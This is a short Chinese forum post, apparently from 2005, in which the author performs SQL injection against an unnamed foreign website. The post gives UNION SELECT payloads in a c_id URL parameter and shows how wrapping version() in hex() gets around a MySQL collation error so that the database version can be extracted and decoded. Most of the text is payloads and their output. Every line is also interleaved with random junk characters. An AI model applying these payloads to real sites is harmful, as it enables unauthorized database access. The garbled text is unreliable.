本文作者:SuperHei
9 N5 I( b$ v1 {. g& x3 ]! l文章性质:原创
' l: P) Q" U9 y8 U6 d发布日期:2005-10-18, @' ^8 C( u& I% d5 ]
测试个国外的站时:4 z4 H' q* a' W8 y$ R* C' X1 d+ W
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*( ~$ U: T% ] u
返回错误:! b! P3 W+ r& q1 f5 _% D
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'1 Z X/ w ^3 Y/ r
MySQL Error No. 126
6 u3 s5 [) q5 W- A看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
" m0 K w- y0 e解决办法:转为其他编码如hex。
/ O0 a6 j5 g# M: u0 h. ]$ q. ?url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*) m. G: j7 p) ^- E7 u
成功得到hex(version())的值为:; X1 j' o" `. H" A* O. o3 h' q
342E312E332D62657461
0 ]( E) e: _0 Q0 C# Q6 @3 a/ F回Mysql查询下得到:
7 t# [0 j4 `3 d$ s, q( N. `( U5 Smysql> select 0x342E312E332D62657461;1 ] \- q D; K3 S
+------------------------+* g% I3 T0 b% g& G7 O! H, s. C$ L
| 0x342E312E332D62657461 |
' V+ B) y# [. A4 z+------------------------+/ N3 b* @, s& ]. h3 J
| 4.1.3-beta |
. ^9 a! L% J: b% L+------------------------+
( [: u7 {' B& ~' X1 row in set (0.00 sec)+ B1 }* m+ D2 c6 Y: S& `
5 `. E( g4 F" i |